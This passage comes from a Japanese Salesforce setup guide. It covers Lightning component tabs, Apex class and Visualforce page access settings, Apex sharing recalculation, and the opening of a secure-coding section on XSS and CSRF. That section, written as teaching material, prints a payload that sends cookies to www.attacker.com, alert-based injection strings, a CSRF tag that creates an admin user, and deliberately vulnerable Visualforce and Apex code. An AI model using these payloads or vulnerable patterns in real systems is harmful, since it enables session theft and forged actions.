メモ: デフォルトで、組織のモバイルブラウザアプリケーションは有効になっています。Salesforce1 モ
バイルブラウザアプリケーションの使用についての詳細は、『Salesforce1アプリケーション開発者ガイ
ド』を参照してください。

関連トピック:

Lightning コンポーネントフレームワーク
開発者コンソールの機能
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Lightning Experience のカスタムタブとしての Lightning コンポーネントの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

UI を使用して Lightning コ
ンポーネントを作成する
エディション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、Developer
Edition、または Sandbox。

ユーザ権限

Lightning コンポーネント
タブを作成する
• 「アプリケーションの

カスタマイズ」

Lightning コンポーネントをカスタムタブに表示して Lightning Experience ユーザが
使用できるようにします。
Lightning Experience に含めるコンポーネントで、aura:component タグに
implements="force:appHostable" を追加して変更を保存します。

<aura:component implements="force:appHostable">

Lightning コンポーネントを作成するには、開発者コンソールを使用します。
次の手順に従って、コンポーネントを Lightning Experience に含め、組織でユーザが使用できるようにします。
1. このコンポーネントのカスタムタブを作成します。

a. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択します。
b. [Lightning コンポーネントタブ] 関連リストで [新規] をクリックします。
c. ユーザが使用できるようにする Lightning コンポーネントを選択します。
d. タブに表示する表示ラベルを入力します。
e. タブのスタイルを選択し、[次へ] をクリックします。
f. プロファイルへのタブの追加を指示するメッセージが表示されたら、デフォルトを受け入れて[保存]を

クリックします。
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2. Lightning コンポーネントをアプリケーションランチャーに追加します。
a. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択しま

す。
b. [新規] をクリックします。カスタムアプリケーション を選択し、[次へ] をクリックします。
c. [アプリケーションの表示ラベル] に「Lightning」と入力し、[次へ] をクリックします。
d. [選択可能なタブ]ドロップダウンメニューで、作成したLightningコンポーネントタブを選択し、右矢印

ボタンをクリックしてカスタムアプリケーションに追加します。
e. [次へ]をクリックします。[参照可能]チェックボックスをオンにしてアプリケーションをプロファイル

に割り当て、[保存] をクリックします。

3. Lightning Experience でアプリケーションランチャーに移動して、出力を確認します。アプリケーションラン
チャーにカスタムアプリケーションが表示されます。カスタムアプリケーションをクリックすると、追加
したコンポーネントが表示されます。

関連トピック:

Salesforce1 のカスタムタブとしての Lightning コンポーネントの追加

コードのセキュリティ保護
このセクションでは、コードのセキュリティ保護の実装について説明します。

Apex クラスのセキュリティのしくみ
ユーザプロファイルまたは関連付けられている権限セットに基づいて、特定の最上位レベルのApexクラス
でメソッドを実行できるユーザを限定します。この指定により、組織のApex操作に対して細かなセキュリ
ティを適用できます。
Visualforce ページセキュリティ
プロファイルまたは関連する権限セットに基づいて、特定のVisualforceページを実行できるユーザを指定で
きます。
Apex および Visualforce 開発のセキュリティガイドライン
カスタムアプリケーションを開発する場合のコードの脆弱性を理解し、その対策を講じます。
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Apex クラスのセキュリティのしくみ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザプロファイルまたは関連付けられている権限セットに基づいて、特定の
最上位レベルの Apex クラスでメソッドを実行できるユーザを限定します。この
指定により、組織の Apex 操作に対して細かなセキュリティを適用できます。
Apex クラスのセキュリティは、次の場所から設定できます。
• Apex クラスリストページ
• Apex クラス詳細ページ
• 権限セット
• プロファイル
これらの権限は、Apex クラスのメソッドにのみ適用されます。このメソッドに
該当するのは、Web サービスメソッド、または Visualforce ページに適用されるカ
スタム Visualforce コントローラやコントローラの拡張で使用されるメソッドで
す。これに対し、トリガは、ユーザの権限に関係なく、常にトリガイベント (insert や update など) に対し
て起動します。

メモ: 組織に管理パッケージをインストールしている場合、セキュリティを設定できるのは、パッケージ
内の global と宣言されている Apexクラス、または webService と宣言されたメソッドを含むクラスの
みです。
ユーザに「Apex 開発」権限がある場合、そのユーザは、個々のクラスのセキュリティ設定に関係なく、
関連付けられた組織のすべての Apex クラスにアクセスできます。

Apex クラスに対する権限は、最上位でのみ確認されます。たとえば、クラス A がクラス B を呼び出す場合、
ユーザプロファイルにクラス A へのアクセス権のみがあってクラス B へのアクセス権はなくても、ユーザはク
ラス A のコードを実行することができます。同様に、Visualforceページでカスタムコンポーネントと関連コント
ローラが併用されている場合は、そのページと関連付けられているコントローラに対してのみセキュリティが
チェックされます。カスタムコンポーネントと関連付けられているコントローラは、権限に関係なく実行され
ます。

クラスリストページでの Apex クラスのアクセスの設定
クラスの詳細ページでの Apex クラスのアクセスの設定
権限セットでの Apex クラスのアクセスの設定
プロファイルからの Apex クラスのアクセスの設定
プロファイルに対して、最上位レベルの Apex クラスで実行可能なメソッドを指定します。
Apex 共有の理由の作成
Apex による共有管理の再適用

関連トピック:

Apex および Visualforce 開発のセキュリティガイドライン
Apex 開発者ガイド
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クラスリストページでの Apex クラスのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスのセキュリ
ティを設定する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apexク
ラス] を選択します。

2. 制限するクラス名の横にある [セキュリティ] をクリックします。
3. [選択可能なプロファイル] リストから有効にするプロファイルを選択して[追

加]をクリックするか、[有効にされたプロファイル] リストから無効にするプ
ロファイルを選択して [削除] をクリックします。

4. [保存] をクリックします。

関連トピック:

クラスの詳細ページでの Apex クラスのアクセスの設定
権限セットでの Apex クラスのアクセスの設定
プロファイルからの Apex クラスのアクセスの設定

クラスの詳細ページでの Apex クラスのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスのセキュリ
ティを設定する
• 「Apex 開発」

および

「アプリケーションの
カスタマイズ」

1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apexク
ラス] を選択します。

2. 制限するクラス名をクリックします。
3. [セキュリティ] をクリックします。
4. [選択可能なプロファイル] リストから有効にするプロファイルを選択して[追

加]をクリックするか、[有効にされたプロファイル] リストから無効にするプ
ロファイルを選択して [削除] をクリックします。

5. [保存] をクリックします。

関連トピック:

クラスリストページでの Apex クラスのアクセスの設定
権限セットでの Apex クラスのアクセスの設定
プロファイルからの Apex クラスのアクセスの設定
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権限セットでの Apex クラスのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

Apex クラスのアクセス設
定を編集する
• 「プロファイルと権限

セットの管理」

権限セットについて、最上位の Apex クラスのどのメソッドが実行可能であるか
を指定できます。これらの設定は、Web サービスメソッドなどの Apex クラスメ
ソッド、またはVisualforceページに適用されているカスタムVisualforceコントロー
ラまたはコントローラの拡張のメソッドのみに適用されます。トリガは、権限
設定に関係なく、トリガイベント (insert または update) で必ず起動されま
す。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択します。
3. [Apex クラスアクセス] をクリックします。
4. [編集] をクリックします。
5. [利用可能な Apex クラス] リストから有効にする Apex クラスを選択し、[追加]

をクリックするか、[有効なApexクラス] リストから無効にするApexクラスを
選択し、[削除] をクリックします。

6. [保存] をクリックします。

関連トピック:

クラスリストページでの Apex クラスのアクセスの設定
クラスの詳細ページでの Apex クラスのアクセスの設定
プロファイルからの Apex クラスのアクセスの設定

プロファイルからの Apex クラスのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

プロファイルを編集する
• 「プロファイルと権限

セットの管理」

プロファイルに対して、最上位レベルの Apex クラスで実行可能なメソッドを指
定します。
これらの設定は、Apex クラスのメソッドにのみ適用されます。たとえば、Web

サービスメソッド、またはVisualforceページに適用されるカスタムVisualforceコン
トローラまたはコントローラの拡張で使用されるメソッドにのみ設定が適用さ
れます。トリガは、プロファイル設定に関係なく、常にトリガイベント (insert

や update など) に対して起動します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [Apex クラスのアクセス] ページまたは関連リストで、[編集] をクリックしま

す。
4. [利用可能な Apex クラス] リストから有効にする Apex クラスを選択し、[追加]

をクリックします。または、[有効化されたApexクラス] リストから無効にす
る Apex クラスを選択し、[削除] をクリックします。
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5. [保存] をクリックします。

関連トピック:

クラスリストページでの Apex クラスのアクセスの設定
クラスの詳細ページでの Apex クラスのアクセスの設定
権限セットでの Apex クラスのアクセスの設定

Apex 共有の理由の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex 共有の理由を作成す
る
• 「Apex 開発」

Apex 共有の理由を参照す
る
• 「設定・定義を参照す

る」

Apexによる共有管理を作成する場合、個々のカスタムオブジェクトに対してApex

共有の理由を作成して、共有された理由を示し、共有レコードの更新と削除に
必要なコーディングを簡略化し、異なる Apex 共有の理由を使用して、同じユー
ザまたはグループとレコードを複数回共有する必要があります。

メモ: Apex 共有管理についての詳細は、『Force.com Apex コード開発者ガイ
ド』を参照してください。

Salesforce ユーザインターフェースでカスタムオブジェクトレコードの共有を参
照すると、[理由]列にApex共有の理由が表示されます。これにより、ユーザと
システム管理者が共有の目的を理解できます。
Apex 共有の理由を使用するときには、次のことに注意してください。
• 「すべてのデータの編集」権限を持つユーザのみが、Apex共有の理由を使用

する共有を追加、編集、または削除できます。
• Apex共有の理由を削除すると、その理由を使用しているオブジェクトの共有

がすべて削除されます。
• Apex 共有の理由は、カスタムオブジェクトごとに最大 10 個作成できます。
• Apex 共有の理由はメタデータ API を使用して作成できます。
Apex 共有の理由を作成する手順は、次のとおりです。
1. カスタムオブジェクトの管理設定から、[Apex 共有の理由] 関連リストの [新

規] をクリックします。
2. Apex 共有の理由の表示ラベルを入力します。ユーザインターフェースでレ

コードの共有を参照すると、[理由]列に表示ラベルが表示されます。表示ラベルは、トランスレーション
ワークベンチを使用する翻訳についても有効化されます。

3. Apex 共有の理由の名前を入力します。この名前は、API および Apex で理由を参照するときに使用します。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする必要があります。最初は文字
であること、空白は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用し
ないという制約があります。

4. [保存] をクリックします。

関連トピック:

Apex による共有管理の再適用
オブジェクト管理設定の検索
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Apex による共有管理の再適用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex による共有管理の再
適用クラスを関連付ける
• 「Apex 開発」

Apex による共有管理の再
適用を実行する
• 「Apex 開発」

または

「共有の管理」

重要: カスタムオブジェクトをパッケージするとき、関連する Apex 共有の
再適用も含まれていると、それがパッケージのインストールの妨げとなる
場合があることに注意してください。

開発者は Apex 共有管理を再適用するための Apex 一括処理クラスを記述できま
す。これらのクラスを詳細ページでカスタムオブジェクトと関連付けて、ロッ
クの問題でアプリケーションのロジックによって定義されたユーザに Apex がア
クセス権を提供できない場合にそのクラスを実行できます。Apex 共有の再適用
は、コーディングエラーによる表示の問題の解決にも役立ちます。たとえば、
ユーザが参照できるはずのレコードにアクセスできないというコーディングエ
ラーを開発者が修正した場合、その修正の適用は、コード変更後に作成された
レコードのみに限定される可能性があります。修正が既存のレコードにも確実
に適用されるように、開発者は、Apex共有の再適用を実行して、すべてのレコー
ドでの共有を検証できます。
Apex 共有の再適用は、カスタムオブジェクトの詳細ページから実行できます。
Database.executeBatch メソッドを使用して、プログラムで実行することも
できます。また、カスタムオブジェクトに対する組織のデフォルトアクセスレ
ベルが更新されるたびに、カスタムオブジェクトに定義された Apex の再適用ク
ラスが自動的に実行されます。

メモ: Salesforceでは、組織のデフォルトアクセスレベルが変更されると、オ
ブジェクトの全レコードの共有が自動的に再適用されます。再適用の対象
として、共有ルールによって付与されるアクセス権も含まれます。また、
付与されたアクセス権が余分である場合は、すべての共有種別が削除され
ます。たとえば、オブジェクトの共有モデルが「非公開」から「公開/参照
のみ」に変更されると、ユーザに「参照のみ」アクセス権を付与する共有
の直接設定が削除されます。

Apexによる共通管理と再適用クラスの作成についての詳細は、『Force.com Apexコード開発者ガイド』を参照し
てください。
Apex による共有管理の再適用クラスをカスタムオブジェクトと関連付ける手順は、次のとおりです。
1. カスタムオブジェクトの管理設定から [Apex 共有再適用] に移動します。
2. このオブジェクトの Apex 共有を再適用する Apex クラスを選択します。選択するクラスは、

Database.Batchable インターフェースを実装している必要があります。同じ Apex クラスを、同じカス
タムオブジェクトと複数関連付けることはできません。

3. [保存] をクリックします。
Apex共有再適用を実行するには、カスタムオブジェクトの管理設定から [Apex 共有再適用] に移動し、[新規]を
クリックします。
Apex 共有再適用を使用する場合は、次のことに注意してください。
• 共有再適用を拡張する Apex コードは、最大 500 万件のレコードを処理できます。この Apex コードが 500 万

件を超えるレコードに影響する場合、そのジョブはただちに失敗します。
• Apex ジョブキューで、Apex 共有の再適用の状況を監視できます。
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• カスタムオブジェクトごとに最大 5 件の Apex 共有の再適用を関連付けることができます。
• Apex 共有の再適用を標準オブジェクトと関連付けることはできません。

関連トピック:

Apex 共有の理由の作成
オブジェクト管理設定の検索

Visualforce ページセキュリティ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルまたは関連する権限セットに基づいて、特定の Visualforceページを
実行できるユーザを指定できます。
Visualforceページの権限は、トップレベルでのみチェックされます。ユーザがペー
ジにアクセスできると、そのページに関連付けられているすべての Apex を実行
できます。具体的な動作は次のとおりです。
• ページのコントローラとコントローラクラスから呼び出されるすべてのApex

クラス。
• ページのすべての拡張クラスと拡張クラスから呼び出されるすべてのApex。
• ページ内のカスタムコンポーネントに関連するすべての Apex クラス。
• apex:include や apex:composition の使用によりページに関連している

すべてのクラス。
たとえば、ページ A が Apex クラス B を呼び出すコントローラに依存し、ユーザ
にはページ A へのアクセス権があってクラス B の権限はない場合でも、そのま
まページ A のコードを実行できます。同様に、Visualforceページでカスタムコンポーネントと関連コントローラ
が併用されている場合は、そのページと関連付けられているコントローラに対してのみセキュリティがチェッ
クされます。コンポーネントに関連付けられているコントローラに対して、セキュリティはチェックされませ
ん。
ユーザに「アプリケーションのカスタマイズ」権限がある場合は、そのユーザは関連する組織内のすべての
Visualforce ページにアクセスできます。ただし、Apex クラスに関連する制限を受ける場合があります。「アプ
リケーションのカスタマイズ」権限では、Visualforce ページへのアクセスがユーザに許可されていない限り、
Visualforce ページでのこれらの制限を無視できません。
また、ページに Apex を含めるには、ユーザが「Apex 開発」権限を持つか、Apex へのアクセス権を持つことが
必要です。

メモ: Force.comサイトまたはカスタマーポータルを使用する組織は、ユーザプロファイルにVisualforceペー
ジを割り当てることによって、またはサイト全体に対して有効にすることによって、Visualforce ページを
有効化できます。

ページ定義からの Visualforce ページセキュリティの設定
権限セットでの Visualforce ページのセキュリティの設定
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プロファイルでの Visualforce ページセキュリティの設定
プロファイルで直接 Visualforce セキュリティを設定して、そのプロファイルのユーザに指定した Visualforce

ページへのアクセス権を付与します。

関連トピック:

Apex および Visualforce 開発のセキュリティガイドライン
Visualforce 開発者ガイド
ページ定義からの Visualforce ページセキュリティの設定
権限セットでの Visualforce ページのセキュリティの設定
プロファイルでの Visualforce ページセキュリティの設定

ページ定義からの Visualforce ページセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページセキュリ
ティを設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

1. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、
[Visualforce ページ] を選択します。

2. 制限するページの名前の横にある [セキュリティ] をクリックします。
3. [選択可能なプロファイル] リストから有効にするプロファイルを選択し、[追

加] をクリックします。
4. [有効にされたプロファイル] リストから無効にするプロファイルを選択し、

[削除] をクリックします。
5. [保存] をクリックします。
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権限セットでの Visualforce ページのセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Visualforceページのアクセ
ス設定を編集する
• 「プロファイルと権限

セットの管理」

1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択します。

2. 権限セットを選択します。
3. [Visualforce ページのアクセス] をクリックします。
4. [編集] をクリックします。
5. [利用可能な Visualforce ページ] リストから有効にする Visualforce ページを選択

して [追加]をクリックするか、[有効化された Visualforceページ] リストから無
効にする Visualforce ページを選択して [削除] をクリックします。

6. [保存] をクリックします。

プロファイルでの Visualforce ページセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページセキュリ
ティを設定する
• 「プロファイルと権限

セットの管理」

プロファイルで直接 Visualforce セキュリティを設定して、そのプロファイルの
ユーザに指定した Visualforce ページへのアクセス権を付与します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. 変更するプロファイルの名前をクリックします。
3. [Visualforce ページのアクセス] ページまたは関連リストに移動し、[編集] をク

リックします。
4. [利用可能な Visualforce ページ] リストから有効にする Visualforce ページを選択

し、[追加] をクリックします。また、[利用可能な Visualforce ページ] リストか
ら無効にするVisualforceページを選択し、[削除]をクリックすることもできま
す。

5. [保存] をクリックします。

6634

コードの使用コードを使用した Salesforce の拡張



Apex および Visualforce 開発のセキュリティガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Visualforce は、
Database.com Edition では
利用できません。

カスタムアプリケーションを開発する場合のコードの脆弱性を理解し、その対
策を講じます。

セキュリティとは
Apex および Visualforce ページの強力な組み合わせにより、Force.com 開発者は、
Salesforceにカスタム機能およびビジネスロジックを提供したり、Force.comプラッ
トフォーム内部で実行するまったく新しいスタンドアロン製品を作成すること
ができます。ただし、プログラミング言語と同様、開発者はセキュリティ関連
の不備について認識する必要があります。
Salesforce は、複数のセキュリティ防御を Force.com プラットフォーム自体に統合
しました。ただし、不注意な開発者は多くの場合に組み込み防御をスキップし、
アプリケーションと顧客をセキュリティ上のリスクにさらしている場合があり
ます。開発者が Force.com プラットフォーム上で犯す多くのコーディングエラー
は、一般的な Web アプリケーションのセキュリティ脆弱性と類似しています。
一部のコーディングエラーは Apex 固有のものです。
AppExchangeのアプリケーションを認証するには、開発者がここで説明するセキュ
リティ上の弱点について学習および理解しておくことが重要です。詳細は、
https://developer.salesforce.com/page/SecurityにあるSalesforce DevelopersのForce.comセキュリティリソースのページを
参照してください。

関連トピック:

バージョンの管理

クロスサイトスクリプト (XSS)

クロスサイトスクリプト (XSS) の攻撃は、悪意のある HTML またはクライアント側のスクリプトが Web アプリ
ケーションに提供される、幅広い範囲の攻撃となります。Web アプリケーションには、Web アプリケーション
のユーザに対する悪意のあるスクリプトが含まれています。ユーザは、知らぬ間に攻撃の被害者となります。
攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを
使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻
撃されやすいといえます。Web サイトに対する攻撃は、あるユーザからの入力が別のユーザに表示されること
を目的としている場合は特に単純です。可能性として、掲示板、ユーザコメントスタイルの Web サイト、
ニュース、またはメールアーカイブなどがあります。
たとえば、次のスクリプトがスクリプトコンポーネント、on*行動、またはVisualforceページを使用するForce.com

ページに使用されているとします。
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

このスクリプトブロックは、ユーザが入力した userparamの値をページに挿入します。攻撃者は userparam

に次の値を入力することができます。
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
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この場合、現在のページのすべての Cookies が cookie.cgi スクリプトに対する要求のクエリ文字列として
www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼ら
が被害者になりすまして Web アプリケーションに接続することができます。
攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーショ
ンユーザは攻撃者の入力は確認できませんが、ブラウザは信頼されたコンテキストで攻撃者のスクリプトを実
行できます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。攻撃の範
囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッションの Cookie を盗むなど
のより悪意に満ちた攻撃にいたるまで幅広く、被害者のセッションに対する攻撃者の完全アクセスを可能にし
ます。
こうした攻撃についての一般的な詳細は、次の記事を参照してください。
• http://www.owasp.org/index.php/Cross_Site_Scripting

• http://www.cgisecurity.com/xss-faq.html

• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

• http://www.google.com/search?q=cross-site+scripting

Force.comプラットフォーム内では、複数の対 XSS 防御策が実行されています。たとえば、多くの出力メソッド
の有害な特性を除外するフィルタが実装されています。標準クラスおよび出力メソッドを使用する開発者に対
する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者は、デフォルトのコ
ントロールをわざとまたは偶然エスケープする方法を見つけることができます。次のセクションでは、保護さ
れている場所、保護されていない場所について説明しています。

既存の保護
<apex> で始まるすべての標準 Visualforce コンポーネントでは、対 XSS フィルタが設定されています。たとえ
ば、ユーザに直接返されるユーザ指定の入力および出力を採用するため、次のコードは通常 XSS の攻撃に対し
て脆弱ですが、<apex:outputText>タグは XSS に対して安全です。HTML タグとされるすべての文字は、リテ
ラル形式に変換されます。たとえば、< 文字は &lt; に変換され、ユーザの画面上ではリテラル < が表示され
ます。
<apex:outputText>

{!$CurrentPage.parameters.userInput}
</apex:outputText>

Visualforce タグのエスケープの無効化
デフォルトでは、ほぼすべてのVisualforceタグは XSS に対して脆弱な文字をエスケープします。省略可能な属性
escape="false"を設定することによって、この動作を無効化することができます。たとえば、次の出力は、
XSS の攻撃に対して脆弱です。
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

XSS から保護されていないプログラミング項目
次の項目には XSS 保護を組み込んでいないため、これらのタグおよびオブジェクトを使用する場合は特別な保
護を行う必要があります。これは、これらの項目が、開発者がスクリプトコマンドを挿入してページをカスタ
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マイズできるようになっているためです。意図的にページに追加されるコマンドに対 XSS フィルタを指定して
も意味はありません。
カスタム JavaScript

独自の JavaScript を作成した場合、Force.com プラットフォームにはユーザを保護する方法がありません。た
とえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
<script>

var foo = location.search;
document.write(foo);

</script>

<apex:includeScript>

<apex:includeScript> Visualforce コンポーネントを使用して、ページにカスタムスクリプトを追加でき
ます。こうした場合、内容が安全で、ユーザが提供したデータが含まれていないことを慎重に確認してく
ださい。たとえば、次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため、特に
脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者がパラメータに任意の
データを入力できる場合 (下記の例参照)、被害者に別の Web サイトの JavaScript ファイルを使用するよう指
示することができる可能性があります。
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

[数式] タグ
これらのタグの一般的なシンタックスは、{!FUNCTION()} または {!$OBJECT.ATTRIBUTE} です。たとえ
ば、開発者がリンクにユーザのセッション ID を指定したい場合、次のシンタックスを使用してリンクを作成
することができます。
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

次のような出力となります。
<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

数式は関数コールとなるか、プラットフォームオブジェクト、ユーザの環境、システム環境、要求の環境に関
する情報を含むことができます。これらの数式の重要な特徴は、表示中にデータがエスケープされないという
点です。数式はサーバに表示されるため、JavaScript またはその他のクライアント側の技術を使用してクライア
ントの表示データをエスケープすることはできません。これにより、数式が非システムデータ (悪意のあるま
たは編集可能なデータ) を参照し、式自体が関数にラップされていない場合、表示中に出力をエスケープする
という危険な状況を誘発する場合があります。一般的な脆弱性は、要求パラメータにアクセスする
{!$Request.*} 式の使用によって引き起こされます。
<html>

<head>
<title>{!$Request.title}</title>

</head>
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<body>Hello world!</body>
</html>

エスケープされない {!$Request.title} タグによっても、クロスサイトスクリプトの脆弱性が誘発されま
す。たとえば、次のような要求の場合
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

出力は次のようになります。
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

サーバ側でエスケープする標準メカニズムは、SUBSTITUTE()数式タグを使用します。例で {!$Request.*}

式の投入を指定すると、次のネストされた SUBSTITUTE() コールを使用して、上記のような攻撃を回避でき
ます。
<html>

<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>

</head>
<body>Hello world!</body>

</html>

タグの投入およびデータの使用によって、エスケープされた文字およびエスケープが必要な文字が異なりま
す。たとえば、次のような文の場合
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

リンクで使用されるため、URL では HTML エスケープ文字の " の代わりに %22 を使用して二重引用符をエスケー
プする必要があります。そうでない場合、次のような要求
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

では、次のようになります。
<script>var ret = "foo";alert('xss');//";</script>

また、ret 変数では、含まれる HTML 制御文字が解釈されるような方法で使用される場合、ページの後半で追
加のクライアント側エスケープが必要になる場合があります。
また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データがユー
ザの組織から直接取得されますが、データをエスケープしてユーザが他のユーザ (権限レベルがより高いユー
ザ) のコンテキストでコードを実行できなくなります。これらの種類の攻撃は同じ組織内のユーザによって実
行され、組織のユーザロールを弱体化し、データ監査の完全性を提言させてしまいます。また、多くの組織に
は、外部ソースからインポートされたデータがありますが、悪意のあるコンテンツの除外が行われない場合が
あります。

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF) の弱点は、防御がなく、プログラムエラーはそれほどありませ
ん。単純な例を示して CSRF を説明します。攻撃者が www.attacker.com に Web ページを持っているとしま
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す。この Web ページは、そのサイトへの通信量を実行する変数サービスまたは情報を提供するページなどで
す。攻撃者のページには、次のような HTML タグがあります。
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザが
攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得さ
れ、アクションが実行されます。ユーザの Web ページへの認証がこのときも行われているため、この攻撃は
成功します。これは非常に単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成する
スクリプトを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。
詳細および従来の防御策は、以下を参照してください。
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery

• http://www.cgisecurity.com/csrf-faq.html

• http://shiflett.org/articles/cross-site-request-forgeries

Force.com プラットフォーム内では、この攻撃を回避する対 CSRF トークンが実装されています。すべてのペー
ジにランダムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケー
ションはこの文字列の正当性を確認し、値が予測される値に一致しない限り、コマンドは実行されません。こ
の機能により、すべての標準コントローラおよびメソッドの使用時に、ユーザを保護します。
ここでもやはり、開発者はリスクを認識することなく、組み込みの防御策をスキップしてしまう場合がありま
す。たとえば、オブジェクト ID を入力パラメータとして SOQL コールで使用するカスタムコントローラがある
とします。次のコードスニペットについて考えます。
<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;

}
}

この場合、開発者は、独自のアクションメソッドを開発して知らないうちに対 CSRF コントロールをスキップ
してしまいます。id パラメータはコードで読み込まれ、使用されます。対 CSRF トークンは読み込まれたり検
証されたりしません。攻撃者の Web ページでは、CSRF 攻撃を使用してユーザをこのページに移動させ、id パ
ラメータとして攻撃者が望む値を指定する可能性があります。
このような状況に対する組み込み防御策がないため、開発者は前例の id変数のようなユーザ指定のパラメー
タに基づいてアクションを実行するページの書き込みに対し、注意する必要があります。解決策の 1 つは、ア
